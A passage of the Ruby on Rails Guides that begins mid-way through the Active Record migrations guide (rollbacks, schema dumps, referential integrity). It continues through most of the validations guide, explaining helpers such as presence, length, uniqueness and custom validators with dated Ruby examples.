    create_table :products do |t|
      t.references :category
    end
    #add a foreign key
    execute <<-SQL
      ALTER TABLE products
        ADD CONSTRAINT fk_products_categories
        FOREIGN KEY (category_id)
        REFERENCES categories(id)
    SQL
    add_column :users, :home_page_url, :string
```

```
    rename_column :users, :email, :email_address
  end

  def down
    rename_column :users, :email_address, :email
    remove_column :users, :home_page_url
    execute <<-SQL
      ALTER TABLE products
        DROP FOREIGN KEY fk_products_categories
    SQL
    drop_table :products
  end
end
```

Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise `ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

4 Running Migrations

Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations.

The very first migration related rake task you will use will probably be `rake db:migrate`. In its most basic form it just runs the `up` or `change` method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration.

Note that running the `db:migrate` also invokes the `db:schema:dump` task, which will update your db/schema.rb file to match the structure of your database.

If you specify a target version, Active Record will run the required migrations (up, down or change) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run

```
$ rake db:migrate VERSION=20080906120000
```

If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the `up` method on all migrations up to and including 20080906120000, and will not execute any later migrations. If migrating downwards, this will run the `down` method on all the migrations down to, but not including, 20080906120000.

4.1 Rolling Back

A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run

```
$ rake db:rollback
```

This will run the `down` method from the latest migration. If you need to undo several migrations you can provide a `STEP` parameter:

```
$ rake db:rollback STEP=3
```

will run the `down` method from the last 3 migrations.

The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task, you can use the `STEP` parameter if you need to go more than one version back, for example

```
$ rake db:migrate:redo STEP=3
```

Neither of these Rake tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to.

4.2 Resetting the database

The `rake db:reset` task will drop the database, recreate it and load the current schema into it.

This is not the same as running all the migrations – see the section on **schema.rb**.

4.3 Running specific migrations

If you need to run a specific migration up or down, the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `up` or `down` method invoked, for example,

```
$ rake db:migrate:up VERSION=20080906120000
```

will run the up method from the 20080906120000 migration. These tasks still check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.

4.4 Changing the output of running migrations

By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this

```
==  CreateProducts: migrating ================================================
-- create_table(:products)
   -> 0.0028s
==  CreateProducts: migrated (0.0028s) =======================================
```

Several methods are provided in migrations that allow you to control all this:

Method	Purpose
suppress_messages	Takes a block as an argument and suppresses any output generated by the block.
say	Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
say_with_time	Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.

For example, this migration

```
class CreateProducts < ActiveRecord::Migration
  def change
    suppress_messages do
      create_table :products do |t|
        t.string :name
        t.text :description
        t.timestamps
      end
    end
    say "Created a table"
    suppress_messages {add_index :products, :name}
    say "and an index!", true
    say_with_time 'Waiting for a while' do
      sleep 10
      250
    end
  end
end
```

generates the following output

```
==  CreateProducts: migrating ================================================
-- Created a table
   -> and an index!
-- Waiting for a while
   -> 10.0013s
   -> 250 rows
==  CreateProducts: migrated (10.0054s) =======================================
```

If you want Active Record to not output anything, then running rake db:migrate VERBOSE=false will suppress all output.

5 Using Models in Your Migrations

When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed.

For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration.

Consider this example, where Alice and Bob are working on the same code base which contains a `Product` model:

Bob goes on vacation.

Alice creates a migration for the `products` table which adds a new column and initializes it. She also adds a validation to the `Product` model for the new column.

```
# db/migrate/20100513121110_add_flag_to_product.rb

class AddFlagToProduct < ActiveRecord::Migration
  def change
    add_column :products, :flag, :boolean
    Product.all.each do |product|
      product.update_attributes!(:flag => 'false')
    end
  end
end
```

```
# app/model/product.rb

class Product < ActiveRecord::Base
  validates :flag, :presence => true
end
```

Alice adds a second migration which adds and initializes another column to the `products` table and also adds a validation to the `Product` model for the new column.

```
# db/migrate/20100515121110_add_fuzz_to_product.rb

class AddFuzzToProduct < ActiveRecord::Migration
  def change
    add_column :products, :fuzz, :string
    Product.all.each do |product|
      product.update_attributes! :fuzz => 'fuzzy'
    end
  end
end
```

```
# app/model/product.rb

class Product < ActiveRecord::Base
  validates :flag, :fuzz, :presence => true
end
```

Both migrations work for Alice.

Bob comes back from vacation and:

1. Updates the source – which contains both migrations and the latests version of the Product model.
2. Runs outstanding migrations with `rake db:migrate`, which includes the one that updates the `Product` model.

The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the *first* migration runs:

```
rake aborted!
An error has occurred, this and all later migrations canceled:

undefined method `fuzz' for #<Product:0x000001049b14a0>
```

A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion.

When using a faux model, it's a good idea to call `Product.reset_column_information` to refresh the `ActiveRecord` cache for the `Product` model prior to updating data in the database.

If Alice had done this instead, there would have been no problem:

```
# db/migrate/20100513121110_add_flag_to_product.rb

class AddFlagToProduct < ActiveRecord::Migration
  class Product < ActiveRecord::Base
  end

  def change
    add_column :products, :flag, :integer
    Product.reset_column_information
    Product.all.each do |product|
      product.update_attributes!(:flag => false)
    end
  end
end
```

```
# db/migrate/20100515121110_add_fuzz_to_product.rb

class AddFuzzToProduct < ActiveRecord::Migration
  class Product < ActiveRecord::Base
  end

  def change
    add_column :products, :fuzz, :string
    Product.reset_column_information
    Product.all.each do |product|
      product.update_attributes!(:fuzz => 'fuzzy')
    end
  end
end
```

6 Schema Dumping and You

6.1 What are Schema Files for?

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either `db/schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

For example, this is how the test database is created: the current development database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then loaded into the test database.

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but the information is nicely summed up in the schema file. The **annotate_models** gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality.

6.2 Types of Schema Dumps

There are two ways to dump the schema. This is set in `config/application.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`.

If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration:

```
ActiveRecord::Schema.define(:version => 20080906171750) do
  create_table "authors", :force => true do |t|
    t.string   "name"
    t.datetime "created_at"
    t.datetime "updated_at"
  end

  create_table "products", :force => true do |t|
    t.string   "name"
    t.text "description"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string "part_number"
  end
end
```

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index`, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

There is however a trade-off: `db/schema.rb` cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to `:sql`.

Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the `db:structure:dump` Rake task) into `db/structure.sql`. For example, for the PostgreSQL RDBMS, the `pg_dump` utility is used. For MySQL, this file will contain the output of SHOW CREATE TABLE for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the `:sql` schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it.

6.3 Schema Dumps and Source Control

Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

7 Active Record and Referential Integrity

The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.

Validations such as `validates :foreign_key, :uniqueness => true` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints in the database.

Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. You could also use some plugin like **foreigner** which add foreign key support to Active Record (including support for dumping foreign keys in `db/schema.rb`).

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Active Record Validations and Callbacks

This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.

After reading this guide and trying out the presented concepts, we hope that you'll be able to:

- Understand the life cycle of Active Record objects
- Use the built-in Active Record validation helpers
- Create your own custom validation methods
- Work with the error messages generated by the validation process
- Create callback methods that respond to events in the object life cycle
- Create special classes that encapsulate common behavior for your callbacks
- Create Observers that respond to life cycle events outside of the original class

Chapters

1. The Object Life Cycle
2. Validations Overview
   - Why Use Validations?
   - When Does Validation Happen?
   - Skipping Validations
   - `valid?` and `invalid?`
   - `errors[]`
3. Validation Helpers
   - `acceptance`
   - `validates_associated`
   - `confirmation`
   - `exclusion`
   - `format`
   - `inclusion`
   - `length`
   - `numericality`
   - `presence`
   - `uniqueness`
   - `validates_with`
   - `validates_each`
4. Common Validation Options
   - `:allow_nil`
   - `:allow_blank`
   - `:message`
   - `:on`
5. Conditional Validation
   - Using a Symbol with `:if` and `:unless`
   - Using a String with `:if` and `:unless`
   - Using a Proc with `:if` and `:unless`
   - Grouping conditional validations
6. Performing Custom Validations
   - Custom Validators
   - Custom Methods
7. Working with Validation Errors
   - `errors`
   - `--`

    - errors[]
    - errors.add
    - errors[:base]
    - errors.clear
    - errors.size
8. Displaying Validation Errors in the View
    - error_messages and error_messages_for
    - Customizing the Error Messages CSS
    - Customizing the Error Messages HTML
9. Callbacks Overview
    - Callback Registration
10. Available Callbacks
    - Creating an Object
    - Updating an Object
    - Destroying an Object
    - after_initialize and after_find
11. Running Callbacks
12. Skipping Callbacks
13. Halting Execution
14. Relational Callbacks
15. Conditional Callbacks
    - Using :if and :unless with a Symbol
    - Using :if and :unless with a String
    - Using :if and :unless with a Proc
    - Multiple Conditions for Callbacks
16. Callback Classes
17. Observers
    - Creating Observers
    - Registering Observers
    - Sharing Observers
18. Transaction Callbacks

1 The Object Life Cycle

During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data.

Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.

2 Validations Overview

Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.

2.1 Why Use Validations?

Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.

There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations:

- Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
- Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.

- Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to **keep your controllers skinny**, as it will make your application a pleasure to work with in the long run.
- Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.

2.2 When Does Validation Happen?

There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the `new` method, that object does not belong to the database yet. Once you call `save` upon that object it will be saved into the appropriate database table. Active Record uses the `new_record?` instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:

```
class Person < ActiveRecord::Base
end
```

We can see how it works by looking at some `rails console` output:

```
>> p = Person.new(:name => "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
>> p.new_record?
=> true
>> p.save
=> true
>> p.new_record?
=> false
```

Creating and saving a new record will send an SQL `INSERT` operation to the database. Updating an existing record will send an SQL `UPDATE` operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the `INSERT` or `UPDATE` operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.

There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.

The following methods trigger validations, and will save the object to the database only if the object is valid:

- `create`
- `create!`
- `save`
- `save!`
- `update`
- `update_attributes`
- `update_attributes!`

The bang versions (e.g. `save!`) raise an exception if the record is invalid. The non-bang versions don't: `save` and `update_attributes` return `false`, `create` and `update` just return the objects.

2.3 Skipping Validations

The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.

- `decrement!`
- `decrement_counter`
- `increment!`
- `increment_counter`
- `toggle!`
- `touch`

- touch
- update_all
- update_attribute
- update_column
- update_counters

Note that save also has the ability to skip validations if passed `:validate => false` as argument. This technique should be used with caution.

- save(:validate => false)

2.4 valid? and invalid?

To verify whether or not an object is valid, Rails uses the valid? method. You can also use this method on your own. valid? triggers your validations and returns true if no errors were found in the object, and false otherwise.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true
end

Person.create(:name => "John Doe").valid? # => true
Person.create(:name => nil).valid? # => false
```

After Active Record has performed validations, any errors found can be accessed through the errors instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.

Note that an object instantiated with new will not report errors even if it's technically invalid, because validations are not run when using new.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true
end

>> p = Person.new
=> #<Person id: nil, name: nil>
>> p.errors
=> {}

>> p.valid?
=> false
>> p.errors
=> {:name=>["can't be blank"]}

>> p = Person.create
=> #<Person id: nil, name: nil>
>> p.errors
=> {:name=>["can't be blank"]}

>> p.save
=> false

>> p.save!
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

>> Person.create!
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
```

invalid? is simply the inverse of valid?. invalid? triggers your validations, returning true if any errors were found in the object, and false otherwise.

2.5 errors[]

To verify whether or not a particular attribute of an object is valid, you can use `errors[:attribute]`. It returns an array of all the errors for `:attribute`. If there are no errors on the specified attribute, an empty array is returned.

This method is only useful *after* validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the `ActiveRecord::Base#invalid?` method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true
end

>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true
```

We'll cover validation errors in greater depth in the **Working with Validation Errors** section. For now, let's turn to the built-in validation helpers that Rails provides by default.

3 Validation Helpers

Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's `errors` collection, and this message is associated with the attribute being validated.

Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.

All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values `:save` (the default), `:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers.

3.1 `acceptance`

Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).

```
class Person < ActiveRecord::Base
  validates :terms_of_service, :acceptance => true
end
```

The default error message for this helper is "*must be accepted*".

It can receive an `:accept` option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.

```
class Person < ActiveRecord::Base
  validates :terms_of_service, :acceptance => { :accept => 'yes' }
end
```

3.2 `validates_associated`

You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, `valid?` will be called upon each one of the associated objects.

```
class Library < ActiveRecord::Base
  has_many :books
  validates_associated :books
end
```

This validation will work with all of the association types.

Don't use `validates_associated` on both ends of your associations. They would call each other in an infinite loop.

The default error message for `validates_associated` is "*is invalid*". Note that each associated object will contain its own `errors` collection; errors do not bubble up to the calling model.

3.3 `confirmation`

You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.

```
class Person < ActiveRecord::Base
  validates :email, :confirmation => true
end
```

In your view template you could use something like

```
<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>
```

This check is performed only if `email_confirmation` is not `nil`. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at `presence` later on this guide):

```
class Person < ActiveRecord::Base
  validates :email, :confirmation => true
  validates :email_confirmation, :presence => true
end
```

The default error message for this helper is "*doesn't match confirmation*".

3.4 `exclusion`

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

```
class Account < ActiveRecord::Base
  validates :subdomain, :exclusion => { :in => %w(www us ca jp),
    :message => "Subdomain %{value} is reserved." }
end
```

The `exclusion` helper has an option `:in` that receives the set of values that will not be accepted for the validated attributes. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. This example uses the `:message` option to show how you can include the attribute's value.

The default error message is "*is reserved*".

3.5 `format`

This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the `:with` option.

```
class Product < ActiveRecord::Base
  validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
    :message => "Only letters allowed" }
end
```

The default error message is "*is invalid*".

3.6 `inclusion`

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

```
class Coffee < ActiveRecord::Base
```

```
  validates :size, :inclusion => { :in => %w(small medium large),
    :message => "%{value} is not a valid size" }
end
```

The `inclusion` helper has an option `:in` that receives the set of values that will be accepted. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. The previous example uses the `:message` option to show how you can include the attribute's value.

The default error message for this helper is "*is not included in the list*".

3.7 `length`

This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:

```
class Person < ActiveRecord::Base
  validates :name, :length => { :minimum => 2 }
  validates :bio, :length => { :maximum => 500 }
  validates :password, :length => { :in => 6..20 }
  validates :registration_number, :length => { :is => 6 }
end
```

The possible length constraint options are:

- `:minimum` – The attribute cannot have less than the specified length.
- `:maximum` – The attribute cannot have more than the specified length.
- `:in` (or `:within`) – The attribute length must be included in a given interval. The value for this option must be a range.
- `:is` – The attribute length must be equal to the given value.

The default error messages depend on the type of length validation being performed. You can personalize these messages using the `:wrong_length`, `:too_long`, and `:too_short` options and `%{count}` as a placeholder for the number corresponding to the length constraint being used. You can still use the `:message` option to specify an error message.

```
class Person < ActiveRecord::Base
  validates :bio, :length => { :maximum => 1000,
    :too_long => "%{count} characters is the maximum allowed" }
end
```

This helper counts characters by default, but you can split the value in a different way using the `:tokenizer` option:

```
class Essay < ActiveRecord::Base
  validates :content, :length => {
    :minimum   => 300,
    :maximum   => 400,
    :tokenizer => lambda { |str| str.scan(/\w+/) },
    :too_short => "must have at least %{count} words",
    :too_long  => "must have at most %{count} words"
  }
end
```

Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should provide a personalized message or use `validates_presence_of` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`.

The `size` helper is an alias for `length`.

3.8 `numericality`

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set `:only_integer` to true.

If you set `:only_integer` to `true`, then it will use the

If you set `:only_integer` to true, then it will use the

```
/\A[+-]?\d+\Z/
```

regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using `Float`.

Note that the regular expression above allows a trailing newline character.

```
class Player < ActiveRecord::Base
  validates :points, :numericality => true
  validates :games_played, :numericality => { :only_integer => true }
end
```

Besides `:only_integer`, this helper also accepts the following options to add constraints to acceptable values:

- `:greater_than` – Specifies the value must be greater than the supplied value. The default error message for this option is "*must be greater than %{count}*".
- `:greater_than_or_equal_to` – Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "*must be greater than or equal to %{count}*".
- `:equal_to` – Specifies the value must be equal to the supplied value. The default error message for this option is "*must be equal to %{count}*".
- `:less_than` – Specifies the value must be less than the supplied value. The default error message for this option is "*must be less than %{count}*".
- `:less_than_or_equal_to` – Specifies the value must be less than or equal the supplied value. The default error message for this option is "*must be less than or equal to %{count}*".
- `:odd` – Specifies the value must be an odd number if set to true. The default error message for this option is "*must be odd*".
- `:even` – Specifies the value must be an even number if set to true. The default error message for this option is "*must be even*".

The default error message is "*is not a number*".

3.9 `presence`

This helper validates that the specified attributes are not empty. It uses the `blank?` method to check if the value is either `nil` or a blank string, that is, a string that is either empty or consists of whitespace.

```
class Person < ActiveRecord::Base
  validates :name, :login, :email, :presence => true
end
```

If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.

```
class LineItem < ActiveRecord::Base
  belongs_to :order
  validates :order_id, :presence => true
end
```

Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use `validates :field_name, :inclusion => { :in => [true, false] }`.

The default error message is "*can't be empty*".

3.10 `uniqueness`

This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.

```
class Account < ActiveRecord::Base
  validates :email, :uniqueness => true
end
```

The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.

There is a `:scope` option that you can use to specify other attributes that are used to limit the uniqueness check:

```
class Holiday < ActiveRecord::Base
  validates :name, :uniqueness => { :scope => :year,
    :message => "should happen once per year" }
end
```

There is also a `:case_sensitive` option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.

```
class Person < ActiveRecord::Base
  validates :name, :uniqueness => { :case_sensitive => false }
end
```

Note that some databases are configured to perform case-insensitive searches anyway.

The default error message is "*has already been taken*".

3.11 `validates_with`

This helper passes the record to a separate class for validation.

```
class Person < ActiveRecord::Base
  validates_with GoodnessValidator
end

class GoodnessValidator < ActiveModel::Validator
  def validate(record)
    if record.first_name == "Evil"
      record.errors[:base] << "This person is evil"
    end
  end
end
```

Errors added to `record.errors[:base]` relate to the state of the record as a whole, and not to a specific attribute.

The `validates_with` helper takes a class, or a list of classes to use for validation. There is no default error message for `validates_with`. You must manually add errors to the record's errors collection in the validator class.

To implement the validate method, you must have a `record` parameter defined, which is the record to be validated.

Like all other validations, `validates_with` takes the `:if`, `:unless` and `:on` options. If you pass any other options, it will send those options to the validator class as `options`:

```
class Person < ActiveRecord::Base
  validates_with GoodnessValidator, :fields => [:first_name, :last_name]
end

class GoodnessValidator < ActiveModel::Validator
  def validate(record)
    if options[:fields].any?{|field| record.send(field) == "Evil" }
      record.errors[:base] << "This person is evil"
    end
  end
end
```

3.12 `validates_each`

This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to `validates_each` will be tested against it. In the following example, we

don't want names and surnames to begin with lower case.

```
class Person < ActiveRecord::Base
  validates_each :name, :surname do |record, attr, value|
    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
  end
end
```

The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.

4 Common Validation Options

These are common validation options:

4.1 `:allow_nil`

The `:allow_nil` option skips the validation when the value being validated is `nil`.

```
class Coffee < ActiveRecord::Base
  validates :size, :inclusion => { :in => %w(small medium large),
    :message => "%{value} is not a valid size" }, :allow_nil => true
end
```

`:allow_nil` is ignored by the presence validator.

4.2 `:allow_blank`

The `:allow_blank` option is similar to the `:allow_nil` option. This option will let validation pass if the attribute's value is `blank?`, like `nil` or an empty string for example.

```
class Topic < ActiveRecord::Base
  validates :title, :length => { :is => 5 }, :allow_blank => true
end

Topic.create("title" => "").valid?  # => true
Topic.create("title" => nil).valid? # => true
```

`:allow_blank` is ignored by the presence validator.

4.3 `:message`

As you've already seen, the `:message` option lets you specify the message that will be added to the `errors` collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.

4.4 `:on`

The `:on` option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use `:on => :create` to run the validation only when a new record is created or `:on => :update` to run the validation only when a record is updated.

```
class Person < ActiveRecord::Base
  # it will be possible to update email with a duplicated value
  validates :email, :uniqueness => true, :on => :create

  # it will be possible to create the record with a non-numerical age
  validates :age, :numericality => true, :on => :update

  # the default (validates on both create and update)
  validates :name, :presence => true, :on => :save
```

```
end
```

5 Conditional Validation

Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the `:if` and `:unless` options, which can take a symbol, a string or a `Proc`. You may use the `:if` option when you want to specify when the validation **should** happen. If you want to specify when the validation **should not** happen, then you may use the `:unless` option.

5.1 Using a Symbol with `:if` and `:unless`

You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

```
class Order < ActiveRecord::Base
  validates :card_number, :presence => true, :if => :paid_with_card?

  def paid_with_card?
    payment_type == "card"
  end
end
```

5.2 Using a String with `:if` and `:unless`

You can also use a string that will be evaluated using `eval` and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

```
class Person < ActiveRecord::Base
  validates :surname, :presence => true, :if => "name.nil?"
end
```

5.3 Using a Proc with `:if` and `:unless`

Finally, it's possible to associate `:if` and `:unless` with a `Proc` object which will be called. Using a `Proc` object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.

```
class Account < ActiveRecord::Base
  validates :password, :confirmation => true,
    :unless => Proc.new { |a| a.password.blank? }
end
```

5.4 Grouping conditional validations

Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using `with_options`.

```
class User < ActiveRecord::Base
  with_options :if => :is_admin? do |admin|
    admin.validates :password, :length => { :minimum => 10 }
    admin.validates :email, :presence => true
  end
end
```

All validations inside of `with_options` block will have automatically passed the condition `:if => :is_admin?`

6 Performing Custom Validations

When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.

6.1 Custom Validators

Custom validators are classes that extend `ActiveModel::Validator`. These classes must implement a `validate`

method which takes a record as an argument and performs the validation on it. The custom validator is called using the `validates_with` method.

```
class MyValidator < ActiveModel::Validator
  def validate(record)
    unless record.name.starts_with? 'X'
      record.errors[:name] << 'Need a name starting with X please!'
    end
  end
end

class Person
  include ActiveModel::Validations
  validates_with MyValidator
end
```

The easiest way to add custom validators for validating individual attributes is with the convenient `ActiveModel::EachValidator`. In this case, the custom validator class must implement a `validate_each` method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.

```
class EmailValidator < ActiveModel::EachValidator
  def validate_each(record, attribute, value)
    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
      record.errors[attribute] << (options[:message] || "is not an email")
    end
  end
end

class Person < ActiveRecord::Base
  validates :email, :presence => true, :email => true
end
```

As shown in the example, you can also combine standard validations with your own custom validators.

6.2 Custom Methods

You can also create methods that verify the state of your models and add messages to the `errors` collection when they are invalid. You must then register these methods by using the `validate` class method, passing in the symbols for the validation methods' names.

You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.

```
class Invoice < ActiveRecord::Base
  validate :expiration_date_cannot_be_in_the_past,
    :discount_cannot_be_greater_than_total_value

  def expiration_date_cannot_be_in_the_past
    if !expiration_date.blank? and expiration_date < Date.today
      errors.add(:expiration_date, "can't be in the past")
    end
  end

  def discount_cannot_be_greater_than_total_value
    if discount > total_value
      errors.add(:discount, "can't be greater than total value")
    end
  end
end
```

By default such validations will run every time you call `valid?`. It is also possible to control when to run these custom validations by giving an `:on` option to the `validate` method, with either: `:create` or `:update`.

validations by giving an `:on` option to the `validate` method, with either: `:create` or `:update`.

```
class Invoice < ActiveRecord::Base
  validate :active_customer, :on => :create

  def active_customer
    errors.add(:customer_id, "is not active") unless customer.active?
  end
end
```

You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:

```
ActiveRecord::Base.class_eval do
  def self.validates_as_choice(attr_name, n, options={})
    validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) }
  end
end
```

Simply reopen `ActiveRecord::Base` and define a class method like that. You'd typically put this code somewhere in `config/initializers`. You can use this helper like this:

```
class Movie < ActiveRecord::Base
  validates_as_choice :rating, 5
end
```

